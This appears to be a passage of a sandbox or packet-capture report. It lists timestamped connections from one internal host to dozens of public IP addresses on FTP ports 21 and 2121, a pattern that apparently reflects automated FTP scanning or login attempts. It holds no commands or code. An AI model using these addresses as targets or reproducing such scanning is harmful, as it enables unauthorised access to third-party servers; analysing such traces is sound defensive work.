Aug 23, 2023 09:16:08.480592966 CEST	51670	21	192.168.2.3	62.128.133.1
Aug 23, 2023 09:16:08.485666990 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:08.485667944 CEST	51671	2121	192.168.2.3	62.128.133.1
Aug 23, 2023 09:16:08.485826969 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.485846996 CEST	51642	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:08.487591982 CEST	51673	21	192.168.2.3	102.184.77.218
Aug 23, 2023 09:16:08.487598896 CEST	51672	2121	192.168.2.3	102.184.77.218
Aug 23, 2023 09:16:08.487771034 CEST	51675	21	192.168.2.3	73.199.159.140
Aug 23, 2023 09:16:08.487771034 CEST	51674	21	192.168.2.3	60.52.173.36
Aug 23, 2023 09:16:08.487818003 CEST	51677	2121	192.168.2.3	73.199.159.140
Aug 23, 2023 09:16:08.487818003 CEST	51676	2121	192.168.2.3	60.52.173.36
Aug 23, 2023 09:16:08.487919092 CEST	51678	21	192.168.2.3	60.241.142.206
Aug 23, 2023 09:16:08.487973928 CEST	51679	2121	192.168.2.3	60.241.142.206
Aug 23, 2023 09:16:08.487973928 CEST	51680	21	192.168.2.3	114.202.48.178
Aug 23, 2023 09:16:08.516094923 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.516789913 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.551898956 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.583805084 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.584373951 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.597788095 CEST	51608	21	192.168.2.3	2.197.126.122
Aug 23, 2023 09:16:08.597790956 CEST	51665	21	192.168.2.3	45.164.177.214
Aug 23, 2023 09:16:08.597889900 CEST	51666	2121	192.168.2.3	45.164.177.214
Aug 23, 2023 09:16:08.602286100 CEST	51681	2121	192.168.2.3	114.202.48.178
Aug 23, 2023 09:16:08.615082026 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.615200043 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.615343094 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.615343094 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.615874052 CEST	51682	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.646869898 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.646930933 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.647098064 CEST	51682	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.656953096 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:08.658545017 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:08.658984900 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:08.660259008 CEST	51610	2121	192.168.2.3	2.197.126.122
Aug 23, 2023 09:16:08.660387993 CEST	51609	21	192.168.2.3	201.163.72.89
Aug 23, 2023 09:16:08.699202061 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:08.699347019 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:08.699373007 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:08.699589968 CEST	51642	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:08.699589968 CEST	51642	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:08.700150013 CEST	51683	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:08.707664967 CEST	51684	21	192.168.2.3	189.48.247.141
Aug 23, 2023 09:16:08.776355028 CEST	21	51680	114.202.48.178	192.168.2.3
Aug 23, 2023 09:16:08.785336018 CEST	51617	2121	192.168.2.3	31.11.104.120
Aug 23, 2023 09:16:08.785341978 CEST	51616	21	192.168.2.3	31.11.104.120
Aug 23, 2023 09:16:08.822123051 CEST	51685	2121	192.168.2.3	189.48.247.141
Aug 23, 2023 09:16:08.826786041 CEST	21	51665	45.164.177.214	192.168.2.3
Aug 23, 2023 09:16:08.831082106 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:08.842262983 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.845002890 CEST	2121	51666	45.164.177.214	192.168.2.3
Aug 23, 2023 09:16:08.863507032 CEST	51618	21	192.168.2.3	85.248.37.20
Aug 23, 2023 09:16:08.863522053 CEST	51619	2121	192.168.2.3	85.248.37.20
Aug 23, 2023 09:16:08.879117966 CEST	2121	51681	114.202.48.178	192.168.2.3
Aug 23, 2023 09:16:08.883806944 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:08.884295940 CEST	51682	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.913050890 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:08.913209915 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.913762093 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:08.914000034 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.914202929 CEST	51683	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:08.915358067 CEST	51682	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.945646048 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.946072102 CEST	51682	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.975444078 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.975652933 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.975801945 CEST	51682	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.975908041 CEST	51682	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.978749990 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:09.004666090 CEST	2121	51682	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:09.010878086 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:09.018408060 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:09.051498890 CEST	51621	2121	192.168.2.3	70.114.65.108
Aug 23, 2023 09:16:09.054406881 CEST	51620	21	192.168.2.3	70.114.65.108
Aug 23, 2023 09:16:09.055450916 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:09.055547953 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:09.055640936 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:09.077069044 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:09.077898026 CEST	51687	21	192.168.2.3	118.38.92.64
Aug 23, 2023 09:16:09.078012943 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:09.078084946 CEST	51689	2121	192.168.2.3	118.38.92.64
Aug 23, 2023 09:16:09.134423018 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:09.160387993 CEST	51623	21	192.168.2.3	52.201.242.56
Aug 23, 2023 09:16:09.202347994 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:09.210354090 CEST	51683	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:09.249943018 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:09.250015974 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:09.250232935 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:09.330693007 CEST	2121	51689	118.38.92.64	192.168.2.3
Aug 23, 2023 09:16:09.330728054 CEST	21	51687	118.38.92.64	192.168.2.3
Aug 23, 2023 09:16:09.363519907 CEST	51680	21	192.168.2.3	114.202.48.178
Aug 23, 2023 09:16:09.363593102 CEST	51624	2121	192.168.2.3	52.201.242.56
Aug 23, 2023 09:16:09.363600969 CEST	51625	21	192.168.2.3	15.197.225.250
Aug 23, 2023 09:16:09.363601923 CEST	51626	2121	192.168.2.3	15.197.225.250
Aug 23, 2023 09:16:09.410424948 CEST	51665	21	192.168.2.3	45.164.177.214
Aug 23, 2023 09:16:09.410423994 CEST	51666	2121	192.168.2.3	45.164.177.214
Aug 23, 2023 09:16:09.410427094 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:09.551033974 CEST	51633	2121	192.168.2.3	188.251.75.249
Aug 23, 2023 09:16:09.551033020 CEST	51681	2121	192.168.2.3	114.202.48.178
Aug 23, 2023 09:16:09.551211119 CEST	51632	21	192.168.2.3	188.251.75.249
Aug 23, 2023 09:16:09.551218987 CEST	51636	2121	192.168.2.3	174.23.188.55
Aug 23, 2023 09:16:09.597868919 CEST	51637	2121	192.168.2.3	139.195.243.19
Aug 23, 2023 09:16:09.597886086 CEST	51635	21	192.168.2.3	139.195.243.19
Aug 23, 2023 09:16:09.598376036 CEST	51641	2121	192.168.2.3	89.94.72.219
Aug 23, 2023 09:16:09.612323999 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:09.639468908 CEST	21	51665	45.164.177.214	192.168.2.3
Aug 23, 2023 09:16:09.651834011 CEST	21	51680	114.202.48.178	192.168.2.3
Aug 23, 2023 09:16:09.657672882 CEST	2121	51666	45.164.177.214	192.168.2.3
Aug 23, 2023 09:16:09.660375118 CEST	51634	21	192.168.2.3	174.23.188.55
Aug 23, 2023 09:16:09.660410881 CEST	51639	21	192.168.2.3	89.94.72.219
Aug 23, 2023 09:16:09.660410881 CEST	51640	2121	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:09.660410881 CEST	51643	21	192.168.2.3	104.175.235.213
Aug 23, 2023 09:16:09.785552025 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:09.828012943 CEST	2121	51681	114.202.48.178	192.168.2.3
Aug 23, 2023 09:16:09.834233999 CEST	21	51634	174.23.188.55	192.168.2.3
Aug 23, 2023 09:16:09.863524914 CEST	51687	21	192.168.2.3	118.38.92.64
Aug 23, 2023 09:16:09.894783974 CEST	51689	2121	192.168.2.3	118.38.92.64
Aug 23, 2023 09:16:09.894799948 CEST	51647	21	192.168.2.3	23.15.43.195
Aug 23, 2023 09:16:09.894804001 CEST	51648	2121	192.168.2.3	23.15.43.195
Aug 23, 2023 09:16:09.894807100 CEST	51646	2121	192.168.2.3	104.175.235.213
Aug 23, 2023 09:16:09.943938017 CEST	51690	21	192.168.2.3	117.253.51.81
Aug 23, 2023 09:16:09.944647074 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:09.944647074 CEST	51683	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:09.944919109 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:09.946082115 CEST	51691	2121	192.168.2.3	117.253.51.81
Aug 23, 2023 09:16:09.947108030 CEST	51692	21	192.168.2.3	210.91.154.62
Aug 23, 2023 09:16:09.948034048 CEST	51693	2121	192.168.2.3	210.91.154.62
Aug 23, 2023 09:16:09.948955059 CEST	51694	21	192.168.2.3	77.179.134.18
Aug 23, 2023 09:16:09.949947119 CEST	51695	2121	192.168.2.3	77.179.134.18
Aug 23, 2023 09:16:09.950716019 CEST	51696	21	192.168.2.3	173.49.111.53
Aug 23, 2023 09:16:09.951685905 CEST	51697	2121	192.168.2.3	173.49.111.53
Aug 23, 2023 09:16:09.977334976 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:09.977838039 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.047858000 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.081775904 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.082257986 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.099634886 CEST	51698	21	192.168.2.3	46.16.215.227
Aug 23, 2023 09:16:10.101330042 CEST	51699	2121	192.168.2.3	46.16.215.227
Aug 23, 2023 09:16:10.101375103 CEST	51700	21	192.168.2.3	97.102.106.20
Aug 23, 2023 09:16:10.101509094 CEST	51701	2121	192.168.2.3	97.102.106.20
Aug 23, 2023 09:16:10.101567984 CEST	51702	2121	192.168.2.3	195.156.69.213
Aug 23, 2023 09:16:10.101799965 CEST	51703	21	192.168.2.3	195.156.69.213
Aug 23, 2023 09:16:10.115160942 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.115185976 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.115248919 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.115521908 CEST	51686	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.115537882 CEST	21	51687	118.38.92.64	192.168.2.3
Aug 23, 2023 09:16:10.116019011 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:10.116482019 CEST	51704	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.117626905 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:10.118129969 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:10.144455910 CEST	51705	21	192.168.2.3	35.225.151.255
Aug 23, 2023 09:16:10.145648956 CEST	51706	2121	192.168.2.3	35.225.151.255
Aug 23, 2023 09:16:10.148864031 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.148952961 CEST	51704	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.150659084 CEST	2121	51689	118.38.92.64	192.168.2.3
Aug 23, 2023 09:16:10.151333094 CEST	2121	51686	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.159909964 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:10.160429001 CEST	51651	2121	192.168.2.3	88.205.105.49
Aug 23, 2023 09:16:10.160429001 CEST	51680	21	192.168.2.3	114.202.48.178
Aug 23, 2023 09:16:10.160492897 CEST	51650	21	192.168.2.3	88.205.105.49
Aug 23, 2023 09:16:10.270735979 CEST	51707	21	192.168.2.3	179.25.147.109
Aug 23, 2023 09:16:10.285415888 CEST	51653	2121	192.168.2.3	112.197.245.56
Aug 23, 2023 09:16:10.285427094 CEST	51652	21	192.168.2.3	112.197.245.56
Aug 23, 2023 09:16:10.285429955 CEST	51654	21	192.168.2.3	189.180.129.240
Aug 23, 2023 09:16:10.285434008 CEST	51655	2121	192.168.2.3	189.180.129.240
Aug 23, 2023 09:16:10.286159992 CEST	51708	2121	192.168.2.3	179.25.147.109
Aug 23, 2023 09:16:10.290751934 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:10.291368008 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:10.318128109 CEST	51709	21	192.168.2.3	116.15.173.128
Aug 23, 2023 09:16:10.334959030 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.336707115 CEST	51704	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.348701954 CEST	51710	2121	192.168.2.3	116.15.173.128
Aug 23, 2023 09:16:10.365166903 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.366137981 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.366456032 CEST	51704	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.394773960 CEST	51656	21	192.168.2.3	185.56.246.58
Aug 23, 2023 09:16:10.396893024 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.397211075 CEST	51704	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.426253080 CEST	51634	21	192.168.2.3	174.23.188.55
Aug 23, 2023 09:16:10.426289082 CEST	51681	2121	192.168.2.3	114.202.48.178
Aug 23, 2023 09:16:10.426733017 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.426899910 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.426938057 CEST	51704	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.426975012 CEST	51704	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.427649021 CEST	51711	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.448687077 CEST	21	51680	114.202.48.178	192.168.2.3
Aug 23, 2023 09:16:10.449457884 CEST	51712	21	192.168.2.3	2.82.244.123
Aug 23, 2023 09:16:10.456000090 CEST	2121	51704	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.459800005 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.459852934 CEST	51711	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.462757111 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:10.462778091 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:10.462821007 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:10.462953091 CEST	51688	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:10.463574886 CEST	51713	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:10.489682913 CEST	51714	2121	192.168.2.3	2.82.244.123
Aug 23, 2023 09:16:10.516419888 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:10.516720057 CEST	51590	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:10.539638042 CEST	51658	2121	192.168.2.3	185.56.246.58
Aug 23, 2023 09:16:10.583417892 CEST	51715	21	192.168.2.3	58.226.91.84
Aug 23, 2023 09:16:10.583481073 CEST	51716	2121	192.168.2.3	58.226.91.84
Aug 23, 2023 09:16:10.597913027 CEST	51659	21	192.168.2.3	46.253.208.172
Aug 23, 2023 09:16:10.597924948 CEST	51661	21	192.168.2.3	91.64.22.235
Aug 23, 2023 09:16:10.599224091 CEST	21	51634	174.23.188.55	192.168.2.3
Aug 23, 2023 09:16:10.600136042 CEST	51717	21	192.168.2.3	220.91.116.96
Aug 23, 2023 09:16:10.635512114 CEST	21	51688	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:10.635530949 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:10.635617018 CEST	51713	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:10.653768063 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.654206038 CEST	51711	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.656389952 CEST	51660	2121	192.168.2.3	46.253.208.172
Aug 23, 2023 09:16:10.656481028 CEST	51687	21	192.168.2.3	118.38.92.64
Aug 23, 2023 09:16:10.681730032 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:10.681750059 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:10.682017088 CEST	51590	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:10.682322025 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:10.682363033 CEST	51590	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:10.682914972 CEST	51718	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:10.686069965 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.686702013 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.687125921 CEST	51711	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.692464113 CEST	51719	2121	192.168.2.3	220.91.116.96
Aug 23, 2023 09:16:10.703280926 CEST	2121	51681	114.202.48.178	192.168.2.3
Aug 23, 2023 09:16:10.704117060 CEST	51720	21	192.168.2.3	40.85.219.109
Aug 23, 2023 09:16:10.720333099 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.720669985 CEST	51711	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.752671957 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.752878904 CEST	51711	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.752898932 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.752945900 CEST	51711	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.753586054 CEST	51721	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.785356045 CEST	2121	51711	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.785371065 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.785461903 CEST	51721	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.785557985 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:16:10.785571098 CEST	51664	2121	192.168.2.3	91.64.22.235
Aug 23, 2023 09:16:10.786587954 CEST	51689	2121	192.168.2.3	118.38.92.64
Aug 23, 2023 09:16:10.801822901 CEST	51722	2121	192.168.2.3	40.85.219.109
Aug 23, 2023 09:16:10.847193003 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:10.848074913 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:10.848135948 CEST	51718	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:10.848778963 CEST	51723	21	192.168.2.3	90.209.126.231
Aug 23, 2023 09:16:10.857995987 CEST	21	51717	220.91.116.96	192.168.2.3
Aug 23, 2023 09:16:10.880352974 CEST	51724	2121	192.168.2.3	90.209.126.231
Aug 23, 2023 09:16:10.908812046 CEST	21	51687	118.38.92.64	192.168.2.3
Aug 23, 2023 09:16:10.909670115 CEST	51725	21	192.168.2.3	81.202.22.253
Aug 23, 2023 09:16:10.945389986 CEST	51726	2121	192.168.2.3	81.202.22.253
Aug 23, 2023 09:16:10.948946953 CEST	2121	51719	220.91.116.96	192.168.2.3
Aug 23, 2023 09:16:10.979593992 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:10.991394997 CEST	51721	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:10.991965055 CEST	51727	21	192.168.2.3	49.170.58.181
Aug 23, 2023 09:16:11.001220942 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.001487970 CEST	51713	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.014556885 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:11.020123959 CEST	51718	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:11.023148060 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.023212910 CEST	51667	21	192.168.2.3	13.75.181.222
Aug 23, 2023 09:16:11.024228096 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.024543047 CEST	51721	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.038008928 CEST	2121	51689	118.38.92.64	192.168.2.3
Aug 23, 2023 09:16:11.051907063 CEST	51728	2121	192.168.2.3	49.170.58.181
Aug 23, 2023 09:16:11.058604002 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.059149027 CEST	51721	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.091609955 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.091638088 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.091727018 CEST	51721	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.091875076 CEST	51721	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.092694998 CEST	51729	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.098491907 CEST	51668	2121	192.168.2.3	13.75.181.222
Aug 23, 2023 09:16:11.123531103 CEST	2121	51721	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.126519918 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.126605988 CEST	51729	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.158833027 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:11.159543991 CEST	51683	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:11.172703981 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.174241066 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.177354097 CEST	51713	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.177355051 CEST	51730	21	192.168.2.3	84.54.17.173
Aug 23, 2023 09:16:11.185075998 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:11.185195923 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:11.185739040 CEST	51718	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:11.227518082 CEST	51731	2121	192.168.2.3	84.54.17.173
Aug 23, 2023 09:16:11.227793932 CEST	51732	2121	192.168.2.3	176.249.14.42
Aug 23, 2023 09:16:11.227794886 CEST	51733	21	192.168.2.3	176.249.14.42
Aug 23, 2023 09:16:11.235270023 CEST	21	51730	84.54.17.173	192.168.2.3
Aug 23, 2023 09:16:11.294841051 CEST	2121	51731	84.54.17.173	192.168.2.3
Aug 23, 2023 09:16:11.318240881 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.318947077 CEST	51729	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.349581003 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.351111889 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.351793051 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.355531931 CEST	51713	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.360295057 CEST	51729	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.363631010 CEST	51717	21	192.168.2.3	220.91.116.96
Aug 23, 2023 09:16:11.372966051 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:11.373004913 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:11.373022079 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:11.373729944 CEST	51734	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:11.373778105 CEST	51683	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:11.373778105 CEST	51683	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:11.390486956 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:11.393831968 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.395462036 CEST	51729	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.427956104 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.428195000 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.428217888 CEST	51729	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.428337097 CEST	51729	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.430969000 CEST	51735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.459723949 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.460294008 CEST	2121	51729	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.466584921 CEST	51735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.473599911 CEST	51736	21	192.168.2.3	121.134.138.178
Aug 23, 2023 09:16:11.497442007 CEST	51675	21	192.168.2.3	73.199.159.140
Aug 23, 2023 09:16:11.497445107 CEST	51678	21	192.168.2.3	60.241.142.206
Aug 23, 2023 09:16:11.497476101 CEST	51679	2121	192.168.2.3	60.241.142.206
Aug 23, 2023 09:16:11.497479916 CEST	51670	21	192.168.2.3	62.128.133.1
Aug 23, 2023 09:16:11.497483015 CEST	51671	2121	192.168.2.3	62.128.133.1
Aug 23, 2023 09:16:11.497483015 CEST	51677	2121	192.168.2.3	73.199.159.140
Aug 23, 2023 09:16:11.530564070 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.530580997 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.530668020 CEST	51713	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.531389952 CEST	51737	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.531478882 CEST	51713	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.569562912 CEST	51738	2121	192.168.2.3	121.134.138.178
Aug 23, 2023 09:16:11.569925070 CEST	51739	2121	192.168.2.3	180.70.66.219
Aug 23, 2023 09:16:11.569952011 CEST	51740	21	192.168.2.3	180.70.66.219
Aug 23, 2023 09:16:11.585261106 CEST	51743	2121	192.168.2.3	70.170.127.132
Aug 23, 2023 09:16:11.585262060 CEST	51741	21	192.168.2.3	20.54.218.215
